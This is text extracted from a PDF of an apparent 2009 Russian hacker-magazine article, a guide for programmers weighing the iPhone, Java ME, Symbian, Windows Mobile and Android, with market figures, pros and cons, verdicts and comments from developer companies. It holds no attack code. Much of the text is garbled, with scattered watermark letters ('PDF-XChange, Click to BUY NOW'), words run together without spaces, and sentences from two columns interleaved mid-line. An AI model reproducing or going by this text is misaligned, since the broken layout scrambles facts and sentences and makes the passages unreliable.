Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
11.92 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

++++ BUY

>>m

 

 

 

 

 

coding

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

++++

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

++++

++++

ОЛЕГ ПРИДЮК

/ AZANITO@GMAIL.COM /

++++Кудаподаться

++++телефонному КОДЕРУ?

++++Полныйгидпомобильнымплатформамдляпрограммиста

++++Тотфакт, чтозарабатыватькосмокредитынакодингеподмобилы

++++

++++

нелегко, сомненийневызывает. Именнопоэтомупрограммистов дляSymbian, iPhone, BlackBerry, Windows Mobile, Android идругих мобильныхплатформпочтеннозовутдевелоперами. Акогдазовут

— обещаютмногоплатитьзахорошуюработу. Можетитебепора влитьсявстройныерядывоиновмобильногоR&D?

++++

++++++++++++++++++++++++++++++++

APPLE IPHONE

создателютысячидолларов. Ностандартныйсценарийтаков: впервый деньпоявлениянаглавной— 20–30 покупок, затемпадениевархиви1–2

++++СПРАВКА: покупкивнеделю(чтоприноситавторупоодному-двабаксавденьили

 

 

Используемыеязыкинизкоуровневогопрограммирования:ObjectiveC,C++ неделю). Стабильно, нокак-тонеоченьприбыльно. Подобнаянезавидная

 

 

Примерноеколичествопроданныхустройств:около15 млн.

участьпостигает80% программвAppStore.

 

 

Долярынкасмартфонов:16%

Позитивныймоментзаключаетсявтом, чтосуществуетединыймагазин,

++++

Количествовыпущенныхмоделейтелефонов:2

которыйужевстроенвтелефон, окоторомпользователизнают, кудапосто-

 

 

ПОЗИТИВНЕНЬКО:

яннозаходяти… покупают, покупают, покупают. Ниодиндругойпроизводи-

 

 

• УдобныйSDK

тельтелефоновнесмогпривитьпокупателямсвоеобразныйрефлекс, что

 

 

 

 

• Единыймагазинпрограммсбольшимколичествомпокупателей

софтнадобратьненафорумах, авмагазине. Дажеохочиедохалявыжители

 

 

++++• Ненадозаботитьсяосовместимостисархивомвыпущенногожелеза нашейпрекраснойстраны, представьтесебе, софтдляSymbian воруют, а

 

 

 

ПРОТИВНЕНЬКО:

дляiPhone — покупают.

 

 

 

• Принципиальнаяневозможностьреализоватьмногиефункциичерез

Такаявотсистемаценностей. Еслиграмотноподойтиквопросуисоздать

 

 

 

официальныйSDK

программу, которуюзахотяткупитьтысячипользователей, томожносрубить

++ ++

• НеобходимостьиметькомпьютерApple илисMac OS X дляустановкиIDE

определенноеколичестводенег.

 

 

 

• Сложнопродатьпрограммудороже$5

ИспользуемыйязыкпохожнаС++, средаразработкиидокументация— в

 

 

 

 

порядке. Начатьопытномукодерубудетлегко. Своихнюансовхватает, но

 

 

 

 

 

 

 

СофтдлявеликогоиужасногогаджетаизКуперитнонепишеттольколени-

головнойболинемного. Самоеглавное: ненадобеспокоитьсяосовмес-

 

 

 

++++выйилибездарный. Компаниясумеласоздатьглянцевыйтелефон, глянцетимостисостарымиверсиямиSDK иоперационок(пламенныйпривет выйSDK, отполировалавсеграмотнымпиаромиприкрепилакачественную Symbian), сразношерстнымжелезом, разнымиразрешениямиэкранови документацию(подробнееобэтоммыписаливдекабрьскомz). миллионамиспособоввводаданных. Имеющиесянарынкедва(фактичесПрограммыдляiPhone продаютсялегкоибыстро,— владельцысверкаюки, один) телефонааппаратночутьлинеидентичны. Посему— программить

++++щеймобилкиоперативноисзавиднойпериодичностьюзаходятвспецивыходитреальнолегче. альноотведенноеместо, именуемоеAppStore, ипокупаюттамсвежиеигры

исофт. Основнаячастьпокупаемогостоитот$0.99 до$4.99. Этодостаточно ВЕРДИКТ простыепрограммыкодеров-любителейилималенькихкомпаний, часто Возможно, путьмобильногодевелопераимеетсмыслначинатьименнос

++++выполняющие1–2 функции. ТакойсофтласковоназываютiFart (ввольном яблочноймобилки. Воттолько, чтобычего-тодобиться, надоуметьчасто перевода— «яПук»). Программы, которыепослемельканиянаглавной имногодумать, ориентироватьсянапользователя, чувствоватьтрендыи страницепопадаютвtop100или, ещелучше, вtop20,зарабатываютсвоему движениярынка. Смогешь?

++++

090

XÀÊÅÐ 05 /125/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

>> codingw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

++++++++++++++++++++++++++++++++

JAVA ME

СПРАВКА

Используемыеязыкинизкоуровневогопрограммирования:Java ME Примерноеколичествопроданныхустройств:почтимиллиардтольков

2008 году

Количествовыпущенныхмоделейтелефонов:80% всехвыпущенныхв

миретелефонов

ПОЗИТИВНЕНЬКО:

Совместимасбольшинствомвыпущенныхтелефонов

Легкаявосвоении

Специалистывостребованынарынке

ПРОТИВНЕНЬКО:

НеработаетнаiPhone, Palm OS ибездополнительногоПО— наWindows Mobile

Многопроблемссовместимостьюиподдерживаемымфункционалом

Программысложнопродать

Джававообщестоитособняком— этонеоперационнаясистема, привязаннаякконкретнымпроизводителям, ауниверсальнаяплатформа, которую поддерживаютчутьлиневсетелефоныдороже$60–80 (iPhone невсчет, он отСтиваДжобса).

УниверсальностьимногогранностьплатформыJava ME сочетаютсяс универсальностьюимногогранностьюсамогоязыка: чтобынаписатьчто-то толковое, надодостаточнонеплохоразбиратьсяввопросе. Java-кодинг длямобилокнапоминаетверсткуHTML — делаешьвелосипед, апотом создаешьдлянего— педали, рулииседла, чтобыкаждыйжелающиймог воспользоваться.

Правда, естьодинсущественныйплюс: однаждынаписаннуюJavaпрограммуотносительнолегкоадаптироватьидлясвежеиспеченных сенсорныхNokia, идлянастроенныхнабизнесBlackBerry, идляобычных телефонов-звонилок, идажедлячего-тосовсемнового, чтовыйдеттолько черезгод. Ивсеже— ДжаваДжаверознь. Отсюдаимногодополнительной работыпоадаптацииготовыхпрограммдляновыхустройств.

Новсепроблемыпонаписаниюсофтакажутсямелочьюпосравнению стем, какнепростоуговоритьпользователяегопоставитьи, темболее, купить. Владельцысмартфоновпредпочитаютнативныепрограммы, абольшинство(абсолютное) владельцевтелефоновизнатьнезнаюто возможностиустановкидополнительногософта. Те, ктознают— илине подозревают, гдеегобрать, илипопростунежелаютэтимзаниматься.

ЦентрализованногоиофициальногомагазинаJava-программнет, какне существуетувладельцевтелефоновсформированнойкультурыпокупать

Java-софт.

Да, Java-прогисобираютсянаразнообразныхфорумахилисайтах вродеGetJar.com, нотудаходяттолькоотносительнопродвинутые пользователиилижедети, желающиевытянутьмаксимумизподареннойбюджетнойтрубки, чьяцель— игрыидругиеразвлекательныепрограммы(почтикакуiPhone, кстати). Толькоединицыготовыплатитьза Java-программы. Java ME — скорее, прерогативаигр(часто— нескромногосодержания), которыеприсылаютсявобменнаSMS, отправленное накороткийплатныйномер.

ВЕРДИКТ

Хорошийбизнесдлялюбителейклонироватьпорноигрушкииразвлекательныепрограммки. Зарабатыватьдолларыможночерезпоказрекламы иликонтрактысоператором.

XÀÊÅÐ 05 /125/ 09

091

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

++++ BUY

>>m

 

 

 

 

 

coding

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

++++

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

++++

++++

++++

++++

++++

++++

++++

++++++++++++++++++++++++++++++++

SYMBIAN

СПРАВКА

Используемыеязыкинизкоуровневогопрограммирования:Symbian C++, C, C++

Примерноеколичествопроданныхустройств:226 млн. (вместесяпонски-

мимоделями)

Долярынкасмартфонов:44%

Количествовыпущенныхмоделейтелефонов:159

ПОЗИТИВНЕНЬКО:

ОСраспространенаивесьмаперспективна

Специалистывостребованыивысокооплачиваемы

Множествосредствразработкиисовместимыхфреймворков

ПРОТИВНЕНЬКО:

•Языктруденвосвоении

Сложнаясистемасертификациипрограмм

Рядпроблемсовместимостисразнымимоделями

Однаизсамыхдревнихоперационныхсистемсжутконепростойисторией идобройсотнейвыпущенныхустройств. Заболеечем15 летразвития операционкуивесьсопутствующийинструментарийдоделывали, переделывали, обновлялиидовелидотого, чтовсесталодикосложно. Тутиязык, максимальнонапоминающийстарыйдобрыйC, которыйзаушипритянулик паттернамиидеямООП, ипереживанияпоповодусовместимостисразнымиверсиямиплатформы, сертификатыипрочиеотвлекающиедетали. Nokia постояннопытаетсяпоправитьситуацию— портировалифреймворк Qt, библиотекиP.O.S.I.X, базовыекомпонентыSTL иBoost, рядключевых API C++ (IOStreams иижесним). Естьотдельныепроекты, позволяющиена Symbian-смартахзапускатьПО, написанноенаC#, Ruby, Python. Прибавь

базеAndroid, однакосложноговоритьопопулярностиустройстввбудущем. Google удалосьсформироватьпрекрасноекомьюнити, привлечь большоеколичестворазработчиковиподготовитьдлянихподробную документациюсмножествомпримеров, удобнуюсредуразработки. Это несомненныеплюсы, воттолькопокасложнополучитьзасвоюработу деньги, еслиAndroid-кодер, конечно, неработаетнасофтвернуюкомпаниюсзаказчикамивдалекойАмерике.

ВЕРДИКТ

Разумнеепокавыступитьвролинаблюдателя. Набумаге(ивобещаниях менеджеров) всекрасиво, авотнаделеунастолькотриполуодинаковых телефонаотHTC имного-многотематическихновостейнаблогах. Дажев этомматериаленашиэкспертыупомянулиобAndroid, носамиотдаваться этойплатформенеспешат.

++++++++++++++++++++++++++++++++

WINDOWS MOBILE

СПРАВКА

Используемыеязыкинизкоуровневогопрограммирования:C++, С# .Net Примерноеколичествопроданныхустройств:50 млн. сначаласущество-

вания, 20 млн. впрошломгоду

Долярынка:13% Количествовыпущенныхмоделейтелефонов:более30 новыхмоделейв

прошломгоду

ПОЗИТИВНЕНЬКО

Позволяетработатьсжелезомнанизкомуровне

•Удобныесредстваразработки

Качественнаядокументация

ПРОТИВНЕНЬКО:

• ОСсильноотстаетотсовременныхтребований

кэтомусильноекомьюнити, разнообразныепоощряющиекампаниидля • Устройства— преимущественноазиатскогопроисхождения

++++разработчиков…— иполучишьпримернуюкартинупротиворечивогомира • Основныепользователи— корпорацииитехнофрики Symbian-девелоперов. Чтодо, собственно, продажпрограмм,— долета

обэтомможнонедумать. Nokia анонсироваламагазинПО, которыйбудет Такоеощущение, чтоплатформунамереннозагналивтупик— онане

++++

++++

++++

встраиватьсявновыесмарты, нопоканепонятно, когоикактудапустят. ВовсехсовременныхдевайсахсинтерфейсомS60 естьсервисDownload!, кудафинныпускаюттолькосупер-пуперкомпаниисвысокимстатусоми оченьтолковымипродуктами. ЕщесуществуетвсетотжеGetJar, специализированныйHandango ивстроенныйвсайтNokia магазин, ноэтоуже совсемдругойUser Experience, нежелипокупкасофтапрямосдевайса. Влюбомслучае,— продатьпростенькуюигруилипрограммувмире Symbian неудастся. Здесьдругиеинтересыижелания. Symbian SDK предоставляетгигантскиевозможностиипользователипривыклик максимальновысокомуфункционалу. НоистоитместноеПОне$5, а, как минимум, $25, атои$50–70 (бываетитакое).

ВЕРДИКТ

отвечаетсовременнымтребованиямкскоростиработыинтерфейса, мультимедийности, качеству, интеграциисWeb исервисами. Вэпохуярко- красочныхAMOLED-экрановWinMo поддерживаетвсего65 535 цветови безбожнотормозитдаженасамомкрутомжелезе. Свеженькаяверсия6.5 имеетновыймакияждапарунеконцептуальныхинноваций, которыемало исправляютположение.

Втожевремяплатформапредоставляетбеспрецедентнонизкийуровень доступакжелезу. Оченьчастопрограммы, которыеможносделатьдля WinMo, нельзяреализоватьнинаоднойдругойплатформе. Именнопоэтому всепромышленныекоммуникаторыиразнообразныеспециализированныеустройстваделаютсянаэтойОС. АещеОСотMicrosoft используют вкупессамымпередовымжелезом. Когда-тотольконадевайсахсWindows Mobile можнобыловстретитьVGA-экраныиWi-Fi. ТеперьвWindows-те-

++++Symbian-девелоперамлучшеразвиватьсявсторонуработывсофтверной лефоныставятэкраныссумасшедшимразрешением800х480, c которыми компании, нежеливкачествеиндивидуальногокодера. Вотэто— действимогутсоревноватьсятолькомонстрыяпонскогорынка.

тельноперспективноипахнетзеленымикупюрами! Привсемобилиифункций, мощномжелезеибогатыхвозможностяхконеч-

 

 

 

++++++++++++++++++++++++++++++++

ныеустройствасовершеннонеудовлетворяютзапросамсовременного

++ ++

ANDROID

пользователя, привыкшегоккрасочномуибыстромуинтерфейсуiPhone.

 

 

 

СПРАВКА

УWinMo проблематаитсяглубоковнутри, вкривоватомкодеимедленной

 

 

 

Используемыеязыкинизкоуровневогопрограммирования:Java

разработкеновыхверсий.

 

 

 

 

 

 

Примерноеколичествопроданныхустройств:1 миллион

ВЕРДИКТ

++++

 

 

Долярынка:менее1%

 

 

 

Количествовыпущенныхмоделейтелефонов:1

Windows Mobile неумеринеумрет— Редмондещедолгобудетподде-

 

 

 

ПОЗИТИВНЕНЬКО

рживатьсвоюОСипытатьсяисправитьположение. Потерюпопуляр-

 

 

 

• Удобныесредстваразработки

ностиумныйкодерможетиспользоватьдляреализациисвоихамбиций.

++++

 

• Подробнаядокументация

ВедьнадожесоздателямновенькихHTC что-тоставитьнасвоидорогие

 

 

 

• Бесплатностьдляразработчика

игрушки?

 

 

 

ПРОТИВНЕНЬКО

++++++++++++++++++++++++++++++++

 

 

 

 

 

 

• Крайнемалосовместимыхмоделей

ЭПИЛОГ

++++

 

 

• Системаещедостаточносырая

Тынавернякаждешьзаключения, гдеумныелюдиотправяттебяпо

 

 

 

• Специалистымаловостребованынарынке

нужномуадресу, скажут, чтоскачать, поставитьиначемкодить. Инапрасно

 

 

 

Samsung имногиедругиекомпаниипообещаливыпуститьаппаратуруна

ждешь. Этонеимеетсмыслабезучетовсотнивторичныхфакторовиусло-

++++

092

XÀÊÅÐ 05 /125/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

codingw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

АЛЕКСАНДР ЖИЛЬ, КОМПАНИЯ

SCIENCESOFT

НИКИТАЛЕОНОВ,

КОМПАНИЯCACTUSSOFT

вий. Цельстатьи— помочьтебесделатьправильныйвыбор, увидетьтренды иуслышатьмненияэкспертов. Авыводыпридетсярождатьужесамому. Дерзай!

КОММЕНТАРИИ

ЭКСПЕРТОВ

SCIENCESOFT ОТРАСЛИ:телекоммуникации, финансоваясфера, здравоохранение, безопасность, инженерия, транспортисбыт.

МОБИЛЬНЫЕПЛАТФОРМЫ:Windows Mobile, Symbian, J2ME, Brew, Android.

ПОДРОБНЕЕ:scnsoft.com.

ОЗАКАЗАХ:сейчас, скорее, мыобъясняемклиенту, длякакойплатформы емулучшеразрабатыватьПО, нежелинаоборот. Клиентыприходятлишьс идеямиисильнымжеланиемвоплотитьихвжизнь. Дальше— ужеработа нашихэкспертов. Взависимостиотсферыдеятельности, образаконечного пользователяидругихфакторов, экспертыпланируютирекомендуюттеили иныеплатформы.

ОПЕРСПЕКТИВАХ:сложновыделитьприоритетнуюплатформу. Мыодно-

временноразвиваемнескольконаправлений, такихкак: Symbian, J2ME, WinMo, iPhone, Android иLinux, чтобыбытьготовымиквозможнымпеременамрынкаичтобынаснезаделитрудныевременаилизатормаживание развитиялюбогоигрокаиндустрии.

ОРАБОТЕ:мысчитаем, чтоуспехпроектазависитнеотисполняемогоязыка илиплатформы, аотстепениготовностикомандыкрешениювозможных (прогнозируемых) проблем, атакжеотстепенисложностипроекта, конечноговиденияпродуктазаказчиком инашейготовностибыстро, качественно сделатьпродуктвотведенныесроки.

++++++++++++++++++++++++++++++++

CACTUSSOFT ОТРАСЛИ:мобильноеПО, встроенноеПО, VoIP, Java,

.NET, сложныеWEB-приложения.

МОБИЛЬНЫЕПЛАТФОРМЫ:iPhone, Android, Windows Mobile, BlackBerry, Symbian, J2ME. Подробнее: cactussoft.biz.

ОЗАКАЗАХ:последниеполгодамыполучаеммногозаказовнаразработку подiPhone. Большинствонашихзаказчиков— американскиекомпании, ав СШАiPhone оченьпопулярен. Подогреваютинтерескпрограммированию подiPhone имногочисленныеsuccess stories о«выстреливших» программныхпродуктах.

КРИСДЬЮРИ, КОМПАНИЯ

GETJAR

XÀÊÅÐ 05 /125/ 09

093

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

++++ BUY

>>m

 

 

 

 

 

coding

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

++++

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

++++

++++

++++

++++

++++

++++

++++

++++

++++

++++

++++

++++

++ ++

++++

++++

АЛЕКСАНДР

ТРУФАНОВ

ОПЕРСПЕКТИВАХ:сейчасориентируемсянаiPhone, Symbian иBlackBerry,

таккакуженакопилидостаточноопыта, авнушительноепортфолиопривлекаетновыхклиентов. Вдолгосрочнойперспективе(скореевсего, ближек 2010 году) мырассчитываемнапотокзаказовподGoogle Android.

